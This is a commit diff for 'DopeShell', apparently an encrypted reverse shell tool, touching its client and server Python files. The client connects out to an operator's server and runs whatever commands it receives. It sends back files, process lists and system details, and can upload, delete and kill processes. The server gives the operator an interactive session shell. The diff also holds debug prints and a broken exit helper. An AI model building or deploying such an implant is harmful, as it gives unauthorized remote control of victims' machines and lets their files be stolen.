Skip to content

Commit e047d73

Browse files
authored
Merge pull request #1 from manaswii/beta
Beta
2 parents dbf14d7 + ed7afd9 commit e047d73

File tree

2 files changed

+44
-64
lines changed

2 files changed

+44
-64
lines changed

DopeShell/client.py

Lines changed: 30 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,10 @@ def __init__(self, server_ip, server_port, key):
2222
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2323

2424
def send_data(self, data):
25+
print(type(data))
26+
if (type(data) == str):
27+
print('converting to bytes!')
28+
data = data.encode('utf-8')
2529
encrypted_data = self.encrypt(data)
2630
# Send the length of the data first
2731
self.sock.send(struct.pack('>I', len(encrypted_data)))
@@ -71,7 +75,7 @@ def run(self):
7175
self.sock.connect((self.server_ip, self.server_port))
7276
while True:
7377
command = self.decrypt(self.sock.recv(4096)).decode('utf-8')
74-
78+
print(command)
7579
if command.lower() == 'exit':
7680
break
7781

@@ -90,37 +94,42 @@ def run(self):
9094
f"Current User: {getpass.getuser()}\n"
9195
f"Local IP Address: {local_ip}\n"
9296
)
93-
self.sock.send(self.encrypt(client_info.encode('utf-8')))
97+
print(type(client_info))
98+
self.send_data(client_info)
9499

95100
elif command.lower().startswith('ls'):
96101
directory = command.split()[1] if len(command.split()) > 1 else '.'
97102
try:
98103
files = "\n".join(os.listdir(directory))
99104
except FileNotFoundError:
100105
files = f"[-] Directory '{directory}' not found."
101-
self.sock.send(self.encrypt(files.encode('utf-8')))
106+
self.send_data(files)
102107

103108
elif command.lower() == 'pwd':
104109
cwd = os.getcwd()
105-
self.sock.send(self.encrypt(cwd.encode('utf-8')))
110+
self.send_data(cwd)
106111

107112
elif command.lower().startswith('cd'):
108113
directory = command.split()[1] if len(command.split()) > 1 else '.'
109114
try:
110115
os.chdir(directory)
111-
self.sock.send(self.encrypt(b"[+] Changed directory."))
116+
message = "[+] Changed directory."
112117
except FileNotFoundError:
113-
self.sock.send(self.encrypt(f"[-] Directory '{directory}' not found.".encode('utf-8')))
118+
message = f"[-] Directory '{directory}' not found"
119+
self.send_data(message)
114120

115121
elif command.lower().startswith('download'):
116122
_, file_path = command.split()
117123
try:
118124
with open(file_path, 'rb') as f:
119125
while chunk := f.read(4096):
120-
self.sock.send(self.encrypt(chunk))
121-
self.sock.send(self.encrypt(b'EOF'))
126+
# self.sock.send(self.encrypt(chunk))
127+
self.send_data(chunk)
128+
# self.sock.send(self.encrypt(b'EOF'))
129+
self.send_data(b'EOF')
122130
except FileNotFoundError:
123-
self.sock.send(self.encrypt(b"[-] File not found."))
131+
# self.sock.send(self.encrypt(b"[-] File not found."))
132+
self.send_data("[-] File not found.")
124133

125134
elif command.lower().startswith('upload'):
126135
_, file_name = command.split()
@@ -139,7 +148,7 @@ def run(self):
139148
output = f"Directory '{directory}' created successfully."
140149
except Exception as e:
141150
output = f"Failed to create directory '{directory}': {e}"
142-
self.sock.send(self.encrypt(output.encode('utf-8')))
151+
self.send_data(output)
143152

144153
elif command.lower().startswith('delete'):
145154
_, file_path = command.split(' ', 1)
@@ -154,7 +163,7 @@ def run(self):
154163
processes = ""
155164
for proc in psutil.process_iter(['pid', 'name', 'username']):
156165
processes += f"PID: {proc.info['pid']}, Name: {proc.info['name']}, User: {proc.info['username']}\n"
157-
self.send_data(processes.encode('utf-8'))
166+
self.send_data(processes)
158167

159168
elif command.lower().startswith('kill'):
160169
_, pid = command.split(' ', 1)
@@ -163,7 +172,7 @@ def run(self):
163172
output = f"Process {pid} killed successfully."
164173
except Exception as e:
165174
output = f"Failed to kill process {pid}: {e}"
166-
self.sock.send(self.encrypt(output.encode('utf-8')))
175+
self.send_data(output)
167176

168177
elif command.lower().startswith('cat'):
169178
try:
@@ -174,10 +183,10 @@ def run(self):
174183
self.send_data(file_content)
175184
else:
176185
error_message = f"File {file_path} does not exist or is not a file."
177-
self.send_data(error_message.encode('utf-8'))
186+
self.send_data(error_message)
178187
except Exception as e:
179188
error_message = f"Error reading file: {str(e)}"
180-
self.send_data(error_message.encode('utf-8'))
189+
self.send_data(error_message)
181190

182191
elif command.lower() == 'netstat':
183192
netstat_output = subprocess.check_output('netstat -an', shell=True)
@@ -186,7 +195,8 @@ def run(self):
186195
elif command.lower() == 'clear':
187196
# Clear screen command for the client shell (may not be fully visible in reverse shell setup)
188197
output = "\033c"
189-
self.sock.send(self.encrypt(output.encode('utf-8')))
198+
# self.sock.send(self.encrypt(output.encode('utf-8')))
199+
self.send_data(output)
190200

191201
elif command.lower() in ['ifconfig', 'ipconfig']:
192202
if platform.system() == 'Windows':
@@ -205,7 +215,7 @@ def run(self):
205215
self.send_data(matches)
206216
else:
207217
output = f"No matches found for '{filename}'."
208-
self.sock.send(self.encrypt(output.encode('utf-8')))
218+
self.send_data(output)
209219

210220
elif command.lower() == 'sysinfo':
211221
sys_info = (
@@ -215,11 +225,13 @@ def run(self):
215225
f"RAM: {round(psutil.virtual_memory().total / (1024**3), 2)} GB\n"
216226
f"Disk: {round(psutil.disk_usage('/').total / (1024**3), 2)} GB\n"
217227
)
218-
self.sock.send(self.encrypt(sys_info.encode('utf-8')))
228+
self.send_data(sys_info)
219229

220230
else:
221231
output = self.execute_command(command)
222-
self.sock.send(self.encrypt(output))
232+
print(type(output))
233+
self.send_data(output)
234+
# self.sock.send(self.encrypt(output))
223235

224236
self.sock.close()
225237

DopeShell/server.py

Lines changed: 14 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# dopeshell/server.py
2-
2+
# TODO:
3+
# differentiate between folders and files in LS command
34
import socket
45
import threading
56
import base64
@@ -67,6 +68,10 @@ def decrypt(self, data):
6768
decryptor = cipher.decryptor()
6869
decrypted_data = decryptor.update(data[16:]) + decryptor.finalize()
6970
return decrypted_data
71+
def exit(command):
72+
client_socket.send(self.encrypt(command.encode('utf-8')))
73+
break
74+
7075

7176
def handle_client(self, session_id, client_socket):
7277
while True:
@@ -75,8 +80,7 @@ def handle_client(self, session_id, client_socket):
7580
command = input(f"Session {session_id} Shell> ")
7681

7782
if command.lower() == 'exit':
78-
client_socket.send(self.encrypt(command.encode('utf-8')))
79-
break
83+
exit(command)
8084

8185
if command.lower().startswith('help'):
8286
parts = command.split(maxsplit=1)
@@ -96,27 +100,13 @@ def handle_client(self, session_id, client_socket):
96100
client_socket.send(self.encrypt(help_text.encode('utf-8')))
97101
continue
98102

99-
elif command.lower().startswith('ls'):
100-
client_socket.send(self.encrypt(command.encode('utf-8')))
101-
response = client_socket.recv(4096)
102-
print(self.decrypt(response).decode('utf-8'))
103-
104-
elif command.lower().startswith('pwd'):
105-
client_socket.send(self.encrypt(command.encode('utf-8')))
106-
response = client_socket.recv(4096)
107-
print(self.decrypt(response).decode('utf-8'))
108-
109-
elif command.lower().startswith('cd'):
110-
client_socket.send(self.encrypt(command.encode('utf-8')))
111-
response = client_socket.recv(4096)
112-
print(self.decrypt(response).decode('utf-8'))
113-
114103
elif command.lower().startswith('download'):
115104
_, remote_path = command.split()
116105
client_socket.send(self.encrypt(command.encode('utf-8')))
117106
with open(os.path.basename(remote_path), 'wb') as f:
118107
while True:
119-
file_data = self.decrypt(client_socket.recv(4096))
108+
# file_data = self.decrypt(client_socket.recv(4096))
109+
file_data = self.receive_data(client_socket)
120110
if file_data == b'EOF':
121111
break
122112
f.write(file_data)
@@ -132,31 +122,7 @@ def handle_client(self, session_id, client_socket):
132122
response = client_socket.recv(4096)
133123
print(self.decrypt(response).decode('utf-8'))
134124

135-
elif command.lower() == 'info':
136-
client_socket.send(self.encrypt(command.encode('utf-8')))
137-
response = client_socket.recv(4096)
138-
print(self.decrypt(response).decode('utf-8'))
139125

140-
elif command.lower() in ['mkdir', 'delete', 'kill', 'clear', 'find', 'sysinfo']:
141-
client_socket.send(self.encrypt(command.encode('utf-8')))
142-
response = client_socket.recv(4096)
143-
print(self.decrypt(response).decode('utf-8'))
144-
145-
elif command.lower().startswith('cat'):
146-
client_socket.send(self.encrypt(command.encode('utf-8')))
147-
response = self.receive_data(client_socket)
148-
print(response.decode('utf-8'))
149-
150-
elif command.lower() in ['ifconfig', 'ipconfig', 'find']:
151-
client_socket.send(self.encrypt(command.encode('utf-8')))
152-
response = self.receive_data(client_socket)
153-
print(response.decode('utf-8'))
154-
155-
elif command.lower() in ['ps', 'netstat']:
156-
client_socket.send(self.encrypt(command.encode('utf-8')))
157-
response = self.receive_data(client_socket)
158-
print(response.decode('utf-8'))
159-
160126
elif command.lower() == 'sessions':
161127
self.list_sessions()
162128

@@ -170,8 +136,10 @@ def handle_client(self, session_id, client_socket):
170136
continue
171137
else:
172138
client_socket.send(self.encrypt(command.encode('utf-8')))
173-
response = client_socket.recv(4096)
174-
print(self.decrypt(response).decode('utf-8'))
139+
# response = client_socket.recv(4096)
140+
# print(self.decrypt(response).decode('utf-8'))
141+
response = self.receive_data(client_socket)
142+
print(response.decode('utf-8'))
175143

176144
client_socket.close()
177145
del self.sessions[session_id] # Remove session on exit
@@ -181,7 +149,7 @@ def handle_client(self, session_id, client_socket):
181149

182150
def run(self):
183151
print(f"[*] Listening on {self.host}:{self.port}")
184-
while True:
152+
while True:
185153
client_socket, addr = self.sock.accept()
186154
session_id = self.session_counter
187155
print(f"[*] Connection from {addr}, Session ID: {session_id}")

0 commit comments

Comments
 (0)